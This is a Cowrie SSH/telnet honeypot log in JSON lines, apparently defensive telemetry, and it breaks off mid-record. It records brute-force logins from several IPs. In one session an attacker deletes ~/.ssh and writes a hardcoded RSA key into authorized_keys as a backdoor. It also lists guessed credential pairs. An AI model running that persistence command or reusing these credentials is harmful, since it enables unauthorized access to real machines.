{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:23.877863Z","src_ip":"103.122.221.179","session":"08e139ab2b87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atl123","message":"login attempt [root/atl123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:24.688201Z","src_ip":"103.122.221.179","session":"08e139ab2b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45402,"dst_ip":"159.203.135.109","dst_port":23,"session":"efd56c0acfcd","protocol":"telnet","message":"New connection: 135.148.14.151:45402 (159.203.135.109:23) [session: efd56c0acfcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:25.327523Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:25.962005Z","src_ip":"103.122.221.179","session":"08e139ab2b87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52176,"dst_ip":"159.203.135.109","dst_port":23,"session":"d90e4f9888cd","protocol":"telnet","message":"New connection: 135.148.14.151:52176 (159.203.135.109:23) [session: d90e4f9888cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:36.980749Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":56236,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb01655a2da5","protocol":"telnet","message":"New connection: 135.148.14.151:56236 (159.203.135.109:23) [session: bb01655a2da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:46.589411Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57702,"dst_ip":"159.203.135.109","dst_port":23,"session":"baf8118eed64","protocol":"telnet","message":"New connection: 135.148.14.151:57702 (159.203.135.109:23) [session: baf8118eed64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:49.630586Z"}
{"eventid":"cowrie.session.closed","duration":32.46721339225769,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:55:57.794618Z","src_ip":"135.148.14.151","session":"efd56c0acfcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":40416,"dst_ip":"10.17.0.5","dst_port":22,"session":"f99297a0174e","protocol":"ssh","message":"New connection: 202.51.70.20:40416 (10.17.0.5:22) [session: f99297a0174e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:00.823153Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:00.829842Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:01.092256Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"0racle","message":"login attempt [oracle/0racle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:02.169308Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:02.738279Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:02.742108Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:02.746500Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:03.280079Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:03.594436Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:03.597925Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:03.900086Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:03.905149Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":40420,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a370881ae46","protocol":"ssh","message":"New connection: 202.51.70.20:40420 (10.17.0.5:22) [session: 8a370881ae46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:04.156731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:04.173867Z","src_ip":"202.51.70.20","session":"8a370881ae46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:04.438579Z","src_ip":"202.51.70.20","session":"8a370881ae46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:05.517769Z","src_ip":"202.51.70.20","session":"8a370881ae46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:06.781724Z","src_ip":"202.51.70.20","session":"8a370881ae46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.51.70.20","src_port":40434,"dst_ip":"10.17.0.5","dst_port":22,"session":"c81cd97d3e19","protocol":"ssh","message":"New connection: 202.51.70.20:40434 (10.17.0.5:22) [session: c81cd97d3e19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:07.049885Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:07.055058Z","src_ip":"202.51.70.20","session":"c81cd97d3e19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:07.332818Z","src_ip":"202.51.70.20","session":"c81cd97d3e19","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:08.457180Z","src_ip":"202.51.70.20","session":"c81cd97d3e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:08.733710Z","src_ip":"202.51.70.20","session":"c81cd97d3e19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.9","message":"Connection lost after 7.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:08.740887Z","src_ip":"202.51.70.20","session":"f99297a0174e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":38080,"dst_ip":"159.203.135.109","dst_port":23,"session":"30fcea434a0d","protocol":"telnet","message":"New connection: 135.148.14.151:38080 (159.203.135.109:23) [session: 30fcea434a0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:09.889407Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39056,"dst_ip":"159.203.135.109","dst_port":23,"session":"0313f5ca47e6","protocol":"telnet","message":"New connection: 135.148.14.151:39056 (159.203.135.109:23) [session: 0313f5ca47e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:10.044773Z"}
{"eventid":"cowrie.session.closed","duration":37.679903507232666,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:14.660561Z","src_ip":"135.148.14.151","session":"d90e4f9888cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.52808499336243,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:24.117387Z","src_ip":"135.148.14.151","session":"bb01655a2da5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.99860763549805,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:24.629067Z","src_ip":"135.148.14.151","session":"baf8118eed64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":39184,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b718e72c1e7","protocol":"ssh","message":"New connection: 80.94.92.171:39184 (10.17.0.5:22) [session: 3b718e72c1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:29.657132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:29.661810Z","src_ip":"80.94.92.171","session":"3b718e72c1e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:30.662597Z","src_ip":"80.94.92.171","session":"3b718e72c1e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:31.657505Z","src_ip":"80.94.92.171","session":"3b718e72c1e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:33.136585Z","src_ip":"80.94.92.171","session":"3b718e72c1e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.720672369003296,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:43.609937Z","src_ip":"135.148.14.151","session":"30fcea434a0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.46259617805481,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:56:46.507250Z","src_ip":"135.148.14.151","session":"0313f5ca47e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":34190,"dst_ip":"159.203.135.109","dst_port":23,"session":"d06f6691200b","protocol":"telnet","message":"New connection: 135.148.14.151:34190 (159.203.135.109:23) [session: d06f6691200b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:00.751763Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":35224,"dst_ip":"159.203.135.109","dst_port":23,"session":"ade3022cb5c6","protocol":"telnet","message":"New connection: 135.148.14.151:35224 (159.203.135.109:23) [session: ade3022cb5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:04.094665Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":43220,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2aacaaae3cf","protocol":"ssh","message":"New connection: 103.176.20.57:43220 (10.17.0.5:22) [session: d2aacaaae3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:21.843528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:57:21.848082Z","src_ip":"103.176.20.57","session":"d2aacaaae3cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 